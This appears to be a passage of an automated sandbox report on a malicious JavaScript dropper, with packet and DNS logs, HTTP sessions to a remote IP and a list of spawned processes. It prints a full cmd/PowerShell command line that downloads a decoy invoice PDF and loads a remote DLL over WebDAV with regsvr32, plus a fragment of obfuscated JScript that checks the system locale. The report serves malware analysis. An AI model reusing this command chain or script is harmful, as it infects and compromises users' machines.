Jan 11, 2025 00:01:01.249377012 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:01.249385118 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.249397039 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.249403000 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:01.249447107 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:01.249686003 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.249706984 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.249718904 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.249732018 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.249741077 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:01.249746084 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.249767065 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.249768972 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:01.249800920 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:01.250689983 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.250699043 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.250719070 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.250735044 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:01.250740051 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.250751972 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.250763893 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.250773907 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:01.250778913 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.250794888 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.250796080 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:01.250828028 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:01.250845909 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.262940884 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:01.269391060 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:01.280838013 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.280850887 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.280875921 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.280881882 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:01.280898094 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.280909061 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.280916929 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:01.280921936 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.280935049 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.280941963 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:01.280973911 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:01.281060934 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.281244040 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.281255960 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.281270027 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.281285048 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:01.281286001 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.281303883 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:01.295536995 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:01.301852942 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:01.755356073 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:02.238542080 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:02.243350983 CET	8888	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:02.243443966 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:02.248080969 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:02.252839088 CET	8888	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:03.053515911 CET	8888	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:03.102885962 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:03.383562088 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 11, 2025 00:02:32.930222988 CET	49889	53	192.168.2.4	1.1.1.1
Jan 11, 2025 00:02:32.935209036 CET	53	49889	1.1.1.1	192.168.2.4
Jan 11, 2025 00:02:32.935323954 CET	49889	53	192.168.2.4	1.1.1.1
Jan 11, 2025 00:02:32.935362101 CET	49889	53	192.168.2.4	1.1.1.1
Jan 11, 2025 00:02:32.940156937 CET	53	49889	1.1.1.1	192.168.2.4
Jan 11, 2025 00:02:33.397928953 CET	53	49889	1.1.1.1	192.168.2.4
Jan 11, 2025 00:02:33.398777008 CET	49889	53	192.168.2.4	1.1.1.1
Jan 11, 2025 00:02:33.403898001 CET	53	49889	1.1.1.1	192.168.2.4
Jan 11, 2025 00:02:33.404166937 CET	49889	53	192.168.2.4	1.1.1.1

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 00:01:15.198542118 CET	58759	53	192.168.2.4	1.1.1.1
Jan 11, 2025 00:02:32.929486990 CET	53	51663	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 11, 2025 00:01:15.198542118 CET	192.168.2.4	1.1.1.1	0x7233	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 11, 2025 00:01:14.796511889 CET	1.1.1.1	192.168.2.4	0x9c9d	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 00:01:14.796511889 CET	1.1.1.1	192.168.2.4	0x9c9d	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 00:01:15.205647945 CET	1.1.1.1	192.168.2.4	0x7233	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	193.143.1.205	80	1700	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 00:00:59.721048117 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 11, 2025 00:01:00.524817944 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 23:01:00 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 11, 2025 00:01:00.524849892 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 11, 2025 00:01:00.524861097 CET	448	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 11, 2025 00:01:00.524874926 CET	1236	IN	Data Raw: ab ce 09 d5 25 b4 1b 08 ed 33 68 0a a0 17 e7 b3 c7 7d fb 9f cd 23 fd cd 4b 49 a2 fd 88 a8 9d 0f 7d fc 34 ef a1 1c 1e ba 13 a6 be 21 01 00 00 ec 0a be 4c 02 00 00 00 00 e0 cb 30 49 70 c1 6e 28 2d c8 1d 2f a1 6d f1 bc 6f 1a e8 d9 fd b9 7b 48 15 6d Data Ascii: %3h}#KI}4!L0Ipn(-/mo{Hmi?"PoH;2l`rPSB]8s~%~w}rS&WJ\|1W{c =*@Og8m\|JtConopN01R
Jan 11, 2025 00:01:00.524893999 CET	1236	IN	Data Raw: 00 00 c0 34 f8 62 09 00 00 00 00 80 2f c9 46 63 0a 76 4f e5 81 a1 77 f3 03 43 af 52 0c 3d 6b 0e 0c 3d 39 be 3d 4e 3b 72 f7 d2 8e dc c1 58 e8 cb e7 e7 2f ff 38 7f f1 47 f3 9f 7d 0f 6d ce 0f 4d c3 a1 7b ef ae 3f a4 4d b9 87 b7 27 b2 29 77 f4 d8 d0 Data Ascii: 4b/FcvOwCR=k=9=N;rX/8G}mM{?M')wl7'i_X>Ma\|h7*roM'7'i_xGG}`<F}cM}?~1=C3`\|
Jan 11, 2025 00:01:00.524905920 CET	1236	IN	Data Raw: 17 4b 00 b0 e3 76 ea df 7f 6b 3e 7e 7d f7 dc 68 1b 5d ef a5 d6 7f cc b5 bc 8e 5b bb aa 25 2e 6f 8d 17 b6 ca 5b 71 c5 67 78 c5 0b ab ff 50 f5 ef b1 a5 5f dc 55 ec e0 ab b9 ae 3f da 54 bf ef d2 17 00 00 eb b5 f6 db 1a 76 54 bc 23 57 c5 d0 87 14 43 Data Ascii: Kvk>~}h][%.o[qgxP_U?TvT#WCCSb]CU}kch:6=CO%t1?6cC21ASKv_pe-%.u-~mVYO?]=8`6zs(?0&51$
Jan 11, 2025 00:01:00.524918079 CET	1236	IN	Data Raw: df 71 fb ff 88 01 f0 15 5a f1 86 8c cf c0 27 13 43 3f 56 c5 d0 ab 3e 86 9e 15 63 e8 db 57 83 e1 50 f3 98 fd fd 37 5d 0c bd 0a 63 e8 49 8a a1 67 f7 12 43 6f 6e 9e e6 c7 86 3e 04 c7 86 12 43 b7 65 ea 9b 13 00 00 c0 34 f8 62 09 00 26 17 de 78 6b 9a Data Ascii: qZ'C?V>cWP7]cIgCon>Ce4b&xkKEK_BXG:a!9KSRDs/rWUK<Z[axj?P/xy5KoeSco1>'f,12Cn1KCumg
Jan 11, 2025 00:01:00.524929047 CET	328	IN	Data Raw: c3 00 fa 39 2c 4f 25 7b e5 0c 5a 53 69 75 a2 35 55 74 a1 57 d3 bc ac 95 f7 99 47 97 b3 97 68 91 61 12 5d 22 83 16 ee b4 6b 19 7f 9e fa 1f 47 00 be 4c 95 ff a6 8f cf 93 1b 0b fd e4 77 e4 3e 76 3b 72 4d 0c bd bc e8 62 e8 e9 c9 6d 13 43 0f 5d 0c 35 Data Ascii: 9,O%{ZSiu5UtWGha]"kGLw>v;rMbmC]5GR91g}\|~yS0XmIr%&zu6"Oa508J)$*eer\|S\UP6B]=tWS&)wCNkJV
Jan 11, 2025 00:01:00.524941921 CET	1236	IN	Data Raw: 31 74 38 1c da 3c f2 25 b4 3f 30 34 8a a1 47 12 43 ef bb 18 7a d5 1c 5a ba 68 0c 65 53 ee 06 4c 7d 73 02 00 00 98 06 5f 2c 01 c0 f6 99 7b 0d 0a 31 30 30 30 0d 0a ec 68 17 f0 89 4a 7f 5b fe 6a c8 7c af be 7e 70 a9 d0 0b ca 25 d4 64 50 dd 40 53 e5 Data Ascii: 1t8<%?04GCzZheSL}s_,{1000hJ[j\|~p%dP@S<88}zJa4"Dsrz4 msJ'9+)sUjcfVr3<r^D)h>c]Gj~l@gs0o{'_M1w/bxvMoHfK0UZv]
Jan 11, 2025 00:01:00.524976015 CET	1236	IN	Data Raw: dc 16 eb dc ec f6 e8 ab a9 37 57 e7 7a 68 38 78 ee 33 e8 68 ce 0e 8b a4 e1 5f 41 bf 23 3a 37 e4 9b 7b 41 c3 82 1c 9e e1 6b 6e b6 6b e9 a1 53 ff 63 0a c0 97 63 f5 62 82 1d b5 e8 81 a1 12 43 af ae d2 81 a1 e5 18 7a ad 63 68 c5 43 76 e4 f6 31 74 7f Data Ascii: 7Wzh8x3h_A#:7{AknkSccbCzchCv1tCOO177O1M5`\|o>%kP/f#))HMgo_#{k+M$OOzzsHa^r,*Y,,WUB5{i_}zqZKd/A
Jan 11, 2025 00:01:00.529783964 CET	1236	IN	Data Raw: c1 c5 d0 a3 79 0c 6d 8e 0d 1d c6 d0 b1 63 43 ff 64 53 ee c6 4c 7d 73 02 00 00 98 06 5f 2c 01 c0 a6 f9 9b 6a fd 82 5c e9 3b fa 70 c9 dc 79 7f 29 8a 99 63 fe fc 99 83 52 0a 74 26 28 1f ab 97 bb 24 bd 20 d7 07 a0 54 7f d2 34 a8 34 d0 6f 5b ff db fa Data Ascii: ymcCdSL}s_,j\;py)cRt&($ T44o[{/Dh}4+!F)IT2hM=F{kvJ"L{xU)WX~<E(,{lP+]tA3V'U%T-e~l@7iG/ZU~#zF[_?sc9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49731	193.143.1.205	8888	2172	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 00:01:02.248080969 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 11, 2025 00:01:03.053515911 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 23:01:02 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	18:00:55
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\21905169581426428153.js"
Imagebase:	0x7ff6e17c0000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	18:00:56
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\22871768120867.dll
Imagebase:	0x7ff7e5a40000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	18:00:56
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	18:00:56
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	18:01:00
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff6bc1b0000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	5
Start time:	18:01:00
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff7e5a40000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	18:01:00
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff7155d0000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	18:01:01
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff74bb60000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	18:01:01
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	18:01:01
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2132 --field-trial-handle=1584,i,10425468771051065857,10688352718162203194,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff74bb60000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function jwfvah() {	jwfvah() ➔ undefined
1	tjqyta = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var vfysrxhxh = this[ybqjdysv + losnls + ycxbv + teelqjih + mahxka + gczij + dogqit + cxaswdqv] ( this[xoszxz + zpuexsjrx + xpiybuo + ycxbv + wdrbxgay + ybqjdysv + cxaswdqv][zhmtk + ycxbv + mahxka + losnls + cxaswdqv + mahxka + mrrgenx + uafjzadkg + awrhi + mahxka + xpiybuo + cxaswdqv] ( xoszxz + zpuexsjrx + xpiybuo + ycxbv + wdrbxgay + ybqjdysv + cxaswdqv + hzxkhnl + zpuexsjrx + rcbzeyzmr + mahxka + piwrlyia + piwrlyia ) [fklgkxz + mahxka + zkiyc + fklgkxz + mahxka + losnls + mwbcch] ( jurvt + huvndkamm + kkemozph + mazatqaj + dcqdk + zhmtk + abwfomho + fklgkxz + fklgkxz + kkemozph + gvkap + rkobcn + dcqdk + abwfomho + zpuexsjrx + kkemozph + fklgkxz + mijwxjom + zhmtk + lntuwf + dogqit + cxaswdqv + ycxbv + lntuwf + piwrlyia + beonmqfpq + zbbhzre + losnls + dogqit + mahxka + piwrlyia + mijwxjom + gczij + dogqit + cxaswdqv + mahxka + ycxbv + dogqit + losnls + cxaswdqv + wdrbxgay + lntuwf + dogqit + losnls + piwrlyia + mijwxjom + eqiec + lntuwf + xpiybuo + losnls + piwrlyia + mahxka ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( fvrdapz = 0 ; fvrdapz < tjqyta[piwrlyia + mahxka + dogqit + zkiyc + cxaswdqv + rcbzeyzmr] ; ++ fvrdapz )
4	{
5	if ( vfysrxhxh == tjqyta[fvrdapz] )
6	{
7	vfysrxhxh = true;
8	break ;
9	}
10	}
11	if ( vfysrxhxh !== true )
12	this[xoszxz + zpuexsjrx + xpiybuo + ycxbv + wdrbxgay + ybqjdysv + cxaswdqv][yfsvbe + xchibu + wdrbxgay + cxaswdqv] ( );
13	this[xoszxz + zpuexsjrx + xpiybuo + ycxbv + wdrbxgay + ybqjdysv + cxaswdqv][zhmtk + ycxbv + mahxka + losnls + cxaswdqv + mahxka + mrrgenx + uafjzadkg + awrhi + mahxka + xpiybuo + cxaswdqv] ( xoszxz + zpuexsjrx + xpiybuo + ycxbv + wdrbxgay + ybqjdysv + cxaswdqv + hzxkhnl + zpuexsjrx + rcbzeyzmr + mahxka + piwrlyia + piwrlyia ) [ycxbv + xchibu + dogqit] ( xpiybuo + vjwmesl + mwbcch + beonmqfpq + ixrcope + xpiybuo + beonmqfpq + ybqjdysv + lntuwf + dghozt + mahxka + ycxbv + teelqjih + rcbzeyzmr + mahxka + piwrlyia + piwrlyia + hzxkhnl + mahxka + cflpm + mahxka + beonmqfpq + khiff + zhmtk + lntuwf + vjwmesl + vjwmesl + losnls + dogqit + mwbcch + beonmqfpq + qlnoa + gczij + dogqit + bihdryqxx + lntuwf + ucjqefjhv + mahxka + khiff + xoszxz + mahxka + uafjzadkg + fklgkxz + mahxka + agein + xchibu + mahxka + teelqjih + cxaswdqv + beonmqfpq + khiff + mrrgenx + xchibu + cxaswdqv + qcwdllyu + wdrbxgay + piwrlyia + mahxka + beonmqfpq + wvhyduzlr + cxaswdqv + mahxka + vjwmesl + ybqjdysv + wvhyduzlr + mijwxjom + wdrbxgay + dogqit + bihdryqxx + lntuwf + wdrbxgay + xpiybuo + mahxka + hzxkhnl + ybqjdysv + mwbcch + oledb + beonmqfpq + rcbzeyzmr + cxaswdqv + cxaswdqv + ybqjdysv + qispecmvd + ixrcope + ixrcope + azuahu + vdntznno + xnfilfevc + hzxkhnl + azuahu + hwfpubo + xnfilfevc + hzxkhnl + azuahu + hzxkhnl + bmobcjt + zkmdqb + tijszkhkb + ixrcope + wdrbxgay + dogqit + bihdryqxx + lntuwf + wdrbxgay + xpiybuo + mahxka + hzxkhnl + ybqjdysv + rcbzeyzmr + ybqjdysv + qlnoa + npibgv + npibgv + teelqjih + cxaswdqv + losnls + ycxbv + cxaswdqv + beonmqfpq + wvhyduzlr + cxaswdqv + mahxka + vjwmesl + ybqjdysv + wvhyduzlr + mijwxjom + wdrbxgay + dogqit + bihdryqxx + lntuwf + wdrbxgay + xpiybuo + mahxka + hzxkhnl + ybqjdysv + mwbcch + oledb + npibgv + npibgv + xpiybuo + vjwmesl + mwbcch + beonmqfpq + ixrcope + xpiybuo + beonmqfpq + dogqit + mahxka + cxaswdqv + beonmqfpq + xchibu + teelqjih + mahxka + beonmqfpq + mijwxjom + mijwxjom + azuahu + vdntznno + xnfilfevc + hzxkhnl + azuahu + hwfpubo + xnfilfevc + hzxkhnl + azuahu + hzxkhnl + bmobcjt + zkmdqb + tijszkhkb + brdfjsx + cxitutpkt + cxitutpkt + cxitutpkt + cxitutpkt + mijwxjom + mwbcch + losnls + bihdryqxx + dghozt + dghozt + dghozt + ycxbv + lntuwf + lntuwf + cxaswdqv + mijwxjom + npibgv + npibgv + xpiybuo + vjwmesl + mwbcch + beonmqfpq + ixrcope + xpiybuo + beonmqfpq + ycxbv + mahxka + zkiyc + teelqjih + bihdryqxx + ycxbv + xnfilfevc + bmobcjt + beonmqfpq + ixrcope + teelqjih + beonmqfpq + mijwxjom + mijwxjom + azuahu + vdntznno + xnfilfevc + hzxkhnl + azuahu + hwfpubo + xnfilfevc + hzxkhnl + azuahu + hzxkhnl + bmobcjt + zkmdqb + tijszkhkb + brdfjsx + cxitutpkt + cxitutpkt + cxitutpkt + cxitutpkt + mijwxjom + mwbcch + losnls + bihdryqxx + dghozt + dghozt + dghozt + ycxbv + lntuwf + lntuwf + cxaswdqv + mijwxjom + bmobcjt + bmobcjt + cxitutpkt + tmgyubv + azuahu + tmgyubv + owobxwvi + cxitutpkt + azuahu + bmobcjt + zkmdqb + cxitutpkt + owobxwvi + tmgyubv + hzxkhnl + 